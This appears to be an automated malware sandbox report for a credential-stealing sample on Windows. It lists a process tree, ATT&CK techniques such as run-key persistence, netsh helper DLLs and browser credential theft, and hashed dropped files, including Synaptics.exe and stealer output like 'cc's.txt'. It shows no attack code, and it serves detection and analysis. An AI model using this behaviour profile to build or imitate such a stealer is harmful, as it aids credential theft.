                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3132,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4276 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:864
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4872,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4884 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:5048
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5020,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5056 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:1768
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4732,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5064 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:3324
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5084 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:540
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3384,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5056 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:4436
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5068,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4404 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:3672
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=3176,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3388 /prefetch:2
                                                                                                                2⤵
                                                                                                                  PID:1584
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4756,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3332 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:6124
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5256,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5240 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:6140
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=3364,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5212 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:2224
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=5496,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3564 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:5564
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5004,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5520 /prefetch:8
                                                                                                                          2⤵
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:1360
                                                                                                                      • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                                        1⤵
                                                                                                                          PID:2384
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                          1⤵
                                                                                                                            PID:4388
                                                                                                                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
                                                                                                                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
                                                                                                                            1⤵
                                                                                                                            • Modifies registry class
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:3468
                                                                                                                          • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
                                                                                                                            1⤵
                                                                                                                            • Modifies registry class
                                                                                                                            PID:6032

                                                                                                                          Network

                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                Reconnaissance

                                                                                                                                Resource Development

                                                                                                                                Initial Access

                                                                                                                                Execution

                                                                                                                                Command and Scripting Interpreter

                                                                                                                                1
                                                                                                                                T1059

                                                                                                                                PowerShell

                                                                                                                                1
                                                                                                                                T1059.001

                                                                                                                                Persistence

                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                1
                                                                                                                                T1547

                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                1
                                                                                                                                T1547.001

                                                                                                                                Event Triggered Execution

                                                                                                                                1
                                                                                                                                T1546

                                                                                                                                Netsh Helper DLL

                                                                                                                                1
                                                                                                                                T1546.007

                                                                                                                                Privilege Escalation

                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                1
                                                                                                                                T1547

                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                1
                                                                                                                                T1547.001

                                                                                                                                Event Triggered Execution

                                                                                                                                1
                                                                                                                                T1546

                                                                                                                                Netsh Helper DLL

                                                                                                                                1
                                                                                                                                T1546.007

                                                                                                                                Defense Evasion

                                                                                                                                Hide Artifacts

                                                                                                                                2
                                                                                                                                T1564

                                                                                                                                Hidden Files and Directories

                                                                                                                                2
                                                                                                                                T1564.001

                                                                                                                                Modify Registry

                                                                                                                                2
                                                                                                                                T1112

                                                                                                                                Credential Access

                                                                                                                                Credentials from Password Stores

                                                                                                                                1
                                                                                                                                T1555

                                                                                                                                Credentials from Web Browsers

                                                                                                                                1
                                                                                                                                T1555.003

                                                                                                                                Unsecured Credentials

                                                                                                                                3
                                                                                                                                T1552

                                                                                                                                Credentials In Files

                                                                                                                                3
                                                                                                                                T1552.001

                                                                                                                                Discovery

                                                                                                                                Browser Information Discovery

                                                                                                                                1
                                                                                                                                T1217

                                                                                                                                Query Registry

                                                                                                                                2
                                                                                                                                T1012

                                                                                                                                System Information Discovery

                                                                                                                                4
                                                                                                                                T1082

                                                                                                                                System Location Discovery

                                                                                                                                1
                                                                                                                                T1614

                                                                                                                                System Language Discovery

                                                                                                                                1
                                                                                                                                T1614.001

                                                                                                                                System Network Configuration Discovery

                                                                                                                                1
                                                                                                                                T1016

                                                                                                                                Wi-Fi Discovery

                                                                                                                                1
                                                                                                                                T1016.002

                                                                                                                                Lateral Movement

                                                                                                                                Collection

                                                                                                                                Data from Local System

                                                                                                                                2
                                                                                                                                T1005

                                                                                                                                Command and Control

                                                                                                                                Web Service

                                                                                                                                1
                                                                                                                                T1102

                                                                                                                                Exfiltration

                                                                                                                                Impact

                                                                                                                                Replay Monitor

                                                                                                                                Loading Replay Monitor...

                                                                                                                                Downloads

                                                                                                                                Synaptics.exe
                                                                                                                                • Path C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                • Size 1002KB
                                                                                                                                • SHA256 11305a29ac1e292476782fc666193e0124cf9a56bfa1e37d403882bcf780bb93
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                                                                • Path C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                                                                • Size 64KB
                                                                                                                                • SHA256 b6409b9d55ce242ff022f7a2d86ae8eff873daabf3a0506031712b8baa6197b8
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                                                                                • Path C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                                                                                • Size 4B
                                                                                                                                • SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                                                                                • Path C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                                                                                • Size 1008B
                                                                                                                                • SHA256 80dc3ffa698e4ff2e916f97983b5eae79470203e91cb684c5ccd4ff1a465d747
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                settings.dat
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                • Size 40B
                                                                                                                                • SHA256 b23186f7aebb73adbbc3edab05170def7edd8081ef6cbf4c802db559f5a8d538
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                BrowsingTopicsState
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                • Size 649B
                                                                                                                                • SHA256 b10d98ee3024aaa4c11ba34a01ef2269f02002c7838ed07651303ee717ba82a6
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                f_000005
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000005
                                                                                                                                • Size 215KB
                                                                                                                                • SHA256 1412046f2516b688d644ff26b6c7ef2275b6c8f132eb809bd32e118208a4ec1b
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                f_000006
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006
                                                                                                                                • Size 41KB
                                                                                                                                • SHA256 5ad4c276af3ac5349ee9280f8a8144a30d33217542e065864c8b424a08365132
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                the-real-index
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                • Size 216B
                                                                                                                                • SHA256 b3b9310ed50d75902be4da31f51649357783f7a0f93687b7854cf8b78746df5b
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                the-real-index
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                • Size 192B
                                                                                                                                • SHA256 042a77cc723f9adc8d161668dd85fe615030f5e703cd016e8592b2813f8248cc
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                the-real-index
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                • Size 840B
                                                                                                                                • SHA256 fc314f9cb95aa711a27f6127c77ef4970030ffa72cf77ec53ca793bd0cdd5c19
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                messages.json
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.84.1_0\_locales\en_CA\messages.json
                                                                                                                                • Size 851B
                                                                                                                                • SHA256 6895648577286002f1dc9c3366f558484eb7020d52bbf64a296406e61d09599c
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                dasherSettingSchema.json
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.84.1_0\dasherSettingSchema.json
                                                                                                                                • Size 854B
                                                                                                                                • SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                Network Persistent State
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                • Size 4KB
                                                                                                                                • SHA256 8ba6f822b00d39e73f0ff52a9c9e070e1505054db0ab20775757b4d683ce64f9
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Network Persistent State
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                • Size 2KB
                                                                                                                                • SHA256 65ce418d282e149c51a9106371e8dfbbb8b9382c1dd695b4339e84b20e823059
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                SCT Auditing Pending Reports
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                • Size 2B
                                                                                                                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                TransportSecurity
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                • Size 356B
                                                                                                                                • SHA256 9e21a21c58e870f26394e8dfd850f5dd74351ae82e821b6b229ade32dd72148d
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                TransportSecurity
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                • Size 1KB
                                                                                                                                • SHA256 47ada345a4ab82ffbe22042f234ee33fa92f15979cd209b1e29132460fb23d50
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                TransportSecurity
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                • Size 1KB
                                                                                                                                • SHA256 795e4c0d1408417df6eeb753dcd767c246aa3277c6123bce0eee2c62a2cfccf1
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                TransportSecurity
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                • Size 356B
                                                                                                                                • SHA256 946f8ca6823ee2ae41840f611e2aef2caa1690bb3b935d3d8c88b4c79203de6d
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 e1edcd0648891d7e131efc36f45c4654696f6f689a9c9f487c887495c95a1616
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 836b0daf178cafe6339459cab867924ddf1841e4813df7bbb0c76228ca8b72ec
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 48cd77d5f1034afc74dbddc0825f0eac26346dbf74e34120bdd47d6cb0205d89
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 f9c5f75e7b783a3428d825a3e619f1ccc4eb2973aea498512ed04614bbae852a
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 1d980a41077a5279a44b917c0c37c0858cfa60c999636baf0362283b5c90be74
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 3171eba366f03b8bdb3d05a150ba12a0b4c3469104db861f2bff56be165e310d
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 9e1f63697c831a4452912d8cf79089f53316ac25b32bf10cea2de7a8ab8665da
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 9c4eceb37c341939b189c2a66793dbca0d0745bd5c5021bcf0aa8c54340667dc
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 e7083831c4a04f0dfe7402e37a5e3ce0a9ec09d632699a89ea6a342ff6469e8f
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 54b39a12aabe03ea9c75b8c7f72977b77cd06cd71f9fa564001a46f24cd4f1ca
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 613887833d1fd009e58e012ff6f637ca76f2b4a095736f9dbe34fd161666c1a9
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 7f3355b68181f3f95fe852a5fbf7316f8ded615e99bcdd9cd05e7f0b2fc08cd6
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                • Size 9KB
                                                                                                                                • SHA256 5cc2c3b44101958315b75c8895d1e7bacbdd925eda73e25bf46294ffe975c49b
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Secure Preferences
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                • Size 15KB
                                                                                                                                • SHA256 ab183e0d11024939d86adf0c0bd49856a0c8359b5dd6d91eddd8c9c357ec75a8
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                the-real-index
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                • Size 72B
                                                                                                                                • SHA256 bed0cab111e428d37762725683aa23f2817d0dfb46e769928a925a34ab8204b5
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                Local State
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                • Size 233KB
                                                                                                                                • SHA256 d9546acd9520e5e3971c32bb4593e3e291ee1b6c62ff3b5a1ba8662d3e24b322
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                Local State
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                • Size 233KB
                                                                                                                                • SHA256 113e26155444147450d67e0d64d428df3715327c251819a6ac20fd19bb70e75b
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                7d512bc4-070a-4bde-884a-7dd1d24b21a3.down_data
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\7d512bc4-070a-4bde-884a-7dd1d24b21a3.down_data
                                                                                                                                • Size 555KB
                                                                                                                                • SHA256 855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                SearchHoverUnifiedTileModelCache.dat
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
                                                                                                                                • Size 10KB
                                                                                                                                • SHA256 7e75ad955706d05f5934810aebbd3b5a7742d5e5766efd9c4fc17ee492b2f716
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                ._cache_bound.exe
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\._cache_bound.exe
                                                                                                                                • Size 248KB
                                                                                                                                • SHA256 d1e22dcfd2a76b2fcae8ec82be80f005b5c3ff3c6b2b1637fbd3cc5c49b5763f
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                4976da2c-f629-49ae-9114-91e0b97c9c0a.tmp
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\4976da2c-f629-49ae-9114-91e0b97c9c0a.tmp
                                                                                                                                • Size 1B
                                                                                                                                • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                B4B85E00
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\B4B85E00
                                                                                                                                • Size 23KB
                                                                                                                                • SHA256 c11006c780a2282f325b34c22f71c6becd0d745ededf7c581e1dff2a21e105ce
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                history.txt
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\LkhvBqVd2A\Browser\history.txt
                                                                                                                                • Size 23B
                                                                                                                                • SHA256 4db7f6559c454d34d9c2d557524603c3f52649c2d69b26b6e8384a3d179aeae6
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                AddRename.odt
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\LkhvBqVd2A\Common Files\AddRename.odt
                                                                                                                                • Size 416KB
                                                                                                                                • SHA256 1521608e036c259f780b71d1730a16c8623eca38da48706cf497b4dae41a34d8
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                ApproveConnect.odt
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\LkhvBqVd2A\Common Files\ApproveConnect.odt
                                                                                                                                • Size 768KB
                                                                                                                                • SHA256 513338d005e2871edc84968e1868c1d787172acfb8579cfd86f387a75e5803ad
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                RestartClear.pdf
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\LkhvBqVd2A\Common Files\RestartClear.pdf
                                                                                                                                • Size 640KB
                                                                                                                                • SHA256 af626c773d09e6ea49654f70e930c879f82aa13977b49948e5b51df882c65a22
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                cc's.txt
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\ZplXQpL2Pj\Browser\cc's.txt
                                                                                                                                • Size 182B
                                                                                                                                • SHA256 00b7a5e5cd19bf97ebcc959e3e198fb662fe320244584ffe8b3076649d4cdad0
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                No Wifi Networks Found.txt
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\ZplXQpL2Pj\Wifi\No Wifi Networks Found.txt
                                                                                                                                • Size 23B
                                                                                                                                • SHA256 008f085ba3eb767dfbba6996130381d46882f4f8845ac0facd32dec918b236a2
                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                Submit Download

                                                                                                                                VCRUNTIME140.dll
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11362\VCRUNTIME140.dll
                                                                                                                                • Size 117KB
                                                                                                                                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                _bz2.pyd
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11362\_bz2.pyd
                                                                                                                                • Size 49KB
                                                                                                                                • SHA256 63c96e5a59153df65c5d648646e04bc68ef3e5bd53caf66d56144d901fddad16
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                _ctypes.pyd
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11362\_ctypes.pyd
                                                                                                                                • Size 63KB
                                                                                                                                • SHA256 bbb6f23e39328245fbe5b983184acc1cf5913fb8a6c99b266f61dd10cad3d65d
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

                                                                                                                                _lzma.pyd
                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11362\_lzma.pyd
                                                                                                                                • Size 87KB
                                                                                                                                • SHA256 77bf984b64e790833491db927127b5c66ff9c0d9a786f8766164ea543c75aeef
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                Submit Download

